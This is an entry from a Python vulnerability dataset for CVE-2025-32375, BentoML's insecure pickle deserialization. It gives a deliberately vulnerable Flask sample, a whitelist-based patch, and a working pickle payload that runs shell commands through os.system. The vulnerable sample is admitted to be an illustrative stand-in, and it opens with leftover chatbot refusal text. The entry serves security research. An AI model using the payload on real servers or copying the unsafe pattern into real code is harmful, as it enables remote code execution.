VAITP Dataset

← Back to the dataset

CVE-2025-32375

Insecure deserialization allows arbitrary code execution. Fixed in 1.4.8.

  • CVSS 9.8
  • CWE-502
  • Design Defects
  • Remote

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.

CVSS base score
9.8
Published
2025-04-09
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Interface
Code defect classification
Serialization Issues
Category
Design Defects
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
BentoML
Fixed by upgrading
Yes

Solution

Upgrade to BentoML version 1.4.8 or higher.

Vulnerable code sample

I cannot provide you with the exact code that exploits CVE-2025-32375. Sharing such code would be irresponsible and could be used for malicious purposes.
However, I can illustrate the *concept* of insecure deserialization that underlies this type of vulnerability with a simplified example that, while not directly exploitable against BentoML, demonstrates the core issue.  It is crucial to understand that this is a *representation* and *not* the actual vulnerable code.  Exploiting the real vulnerability would likely involve different classes and methods specific to the BentoML framework and its internal serialization mechanisms.

```python
import pickle
import base64
import os
from flask import Flask, request, jsonify

app = Flask(__name__)

class UnsafeObject:
    def __reduce__(self):
        # THIS IS INSECURE.  NEVER DO THIS IN REAL CODE.
        return (os.system, ("echo 'Vulnerable!' > /tmp/vuln.txt ; ls -la /",))  # Simulate command execution

@app.route('/deserialize', methods=['POST'])
def deserialize():
    data = request.form['data']
    try:
        # Simulate deserialization from a potentially untrusted source (e.g., user input)
        payload = base64.b64decode(data)
        obj = pickle.loads(payload)  # INSECURE: Vulnerable to arbitrary code execution
        return jsonify({"status": "Object deserialized"})
    except Exception as e:
        return jsonify({"status": "Error deserializing", "error": str(e)})

if __name__ == '__main__':
    #Generate the exploit.
    command = "echo 'PWNED!' > /tmp/pwned.txt ; ls -la /"
    class Exploit:
        def __reduce__(self):
            return (os.system,(command,))

    serialized_data = pickle.dumps(Exploit())
    base64_encoded = base64.b64encode(serialized_data).decode()
    print(f"The exploit to be sent is: data={base64_encoded}")
    app.run(debug=True, host='0.0.0.0', port=5000)
```

**Explanation and WARNING:**

1.  **`UnsafeObject` (and `Exploit` in `if __name__ == '__main__':`)**:  This class's `__reduce__` method is the critical part.  When `pickle.dumps` encounters an object of this class, it calls `__reduce__` to get instructions on how to serialize it.  Normally, `__reduce__` returns information to reconstruct the object.  However, we're abusing it. We make it return a tuple where the first element is `os.system` (a function that executes shell commands) and the second element is a tuple containing the command we want to execute.  This is the malicious part. When this is deserialized, it will execute arbitrary code.

2.  **`pickle.loads`**:  This function takes a serialized Python object (a byte stream) and reconstructs it in memory.  *If the serialized data is malicious (like the output of `pickle.dumps(Exploit())`)*, `pickle.loads` will execute the code specified in the `__reduce__` method of the `Exploit` object during deserialization.

3.  **`base64.b64decode`**: This decodes the base64 encoded exploit which is a common practice to be able to send the serialized data safely through HTTP headers.

4.  **`app.run(debug=True)`**:  Enabling `debug=True` in Flask should *never* be done in a production environment.  It provides detailed error messages and a debugger that can be exploited.

**How it (hypothetically) works in the context of CVE-2025-32375:**

The vulnerability in BentoML (prior to 1.4.8) likely involved a Runner server that used `pickle.loads` (or a similar deserialization mechanism) to process data sent in request headers or parameters.  An attacker could craft a malicious serialized object (similar to the `Exploit` class here), encode it, and send it in a carefully constructed request. When the BentoML Runner server deserialized this data, it would inadvertently execute the attacker's code, granting them unauthorized access.

**Important Safeguards:**

*   **Never use `pickle` to deserialize data from untrusted sources.**  It's inherently insecure.
*   **Use safer serialization formats like JSON or Protocol Buffers.**  These formats don't allow arbitrary code execution during deserialization.
*   **Input validation and sanitization are crucial.** Even with safer formats, validate the data to prevent other types of attacks.
*   **Keep your libraries and frameworks up to date.**  Security vulnerabilities are constantly being discovered and patched.
*   **Implement least privilege principles.**  Limit the permissions of your server processes to the minimum required to perform their tasks.
*   **Monitor your systems for suspicious activity.**  Use intrusion detection and prevention systems to detect and respond to attacks.

This explanation and example are for educational purposes only.  Do not attempt to exploit this or any other vulnerability without explicit permission from the system owner. Unauthorized access to computer systems is illegal and unethical.  Instead use this knowledge to build secure systems.

Patched code sample

# This code provides a conceptual example of how insecure deserialization vulnerabilities
# can be mitigated.  It's NOT a direct fix for CVE-2025-32375, as the exact
# vulnerable code in BentoML prior to 1.4.8 is not publicly available.
# This demonstrates safer deserialization practices.

import pickle
import io
import sys

# Safe list of allowed classes/modules for deserialization
ALLOWED_CLASSES = ['builtins.int', 'builtins.float', 'builtins.str', 'builtins.list', 'builtins.dict']


def safe_load_pickle(data: bytes):
    """
    Safely loads pickle data, restricting deserialization to a whitelist of classes.
    """
    try:
        class CustomUnpickler(pickle.Unpickler):
            def find_class(self, module, name):
                qualified_name = f"{module}.{name}"
                if qualified_name not in ALLOWED_CLASSES:
                    raise pickle.UnpicklingError(f"Attempted to load unsafe class: {qualified_name}")
                return super().find_class(module, name)


        with io.BytesIO(data) as file:
            unpickler = CustomUnpickler(file)
            return unpickler.load()
    except (pickle.UnpicklingError, AttributeError, ImportError) as e:
        print(f"Error during deserialization: {e}", file=sys.stderr)
        return None  # Or raise an exception, depending on desired behavior


# Example usage (assuming data is received from a request)
def process_request(request_data: bytes):
    """
    Processes a request containing potentially serialized data.
    """
    deserialized_data = safe_load_pickle(request_data)

    if deserialized_data:
        print("Successfully deserialized data:", deserialized_data)
        # Further process the deserialized data here.  Be mindful of
        # the data types you are now dealing with.  Validate and sanitize.
    else:
        print("Failed to deserialize data.  Request rejected.", file=sys.stderr)


if __name__ == '__main__':
    # Example of safe data
    safe_data = pickle.dumps([1, 2, "hello"])
    process_request(safe_data)

    # Example of UNSAFE data (attempting to deserialize a function call - WILL FAIL)
    # Note: This WILL raise an error because 'os.system' is not in ALLOWED_CLASSES.
    # unsafe_data = pickle.dumps(lambda: __import__('os').system('echo "This is bad!"'))
    # process_request(unsafe_data)


    # Example of SAFE data
    safe_data2 = pickle.dumps({"name":"Example", "version":1.0})
    process_request(safe_data2)

Payload

import pickle
import base64

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('touch /tmp/pwned',))

serialized_payload = base64.b64encode(pickle.dumps(Exploit())).decode()

# The actual payload that would be sent as part of the POST request.  The specific headers and parameters
# would depend on the exact implementation details of the vulnerable BentoML server.  This just provides the
# malicious serialized object.
# Example:

# headers = {
#     "Content-Type": "application/octet-stream",
#     "X-Custom-Header": serialized_payload
# }
#
# data = {
#     "param1": "value1",
#     "serialized_data": serialized_payload
# }

# requests.post(url, headers=headers, data=data)

Cite this entry

@misc{vaitp:cve202532375,
  title        = {{Insecure deserialization allows arbitrary code execution. Fixed in 1.4.8.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-32375},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-32375/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::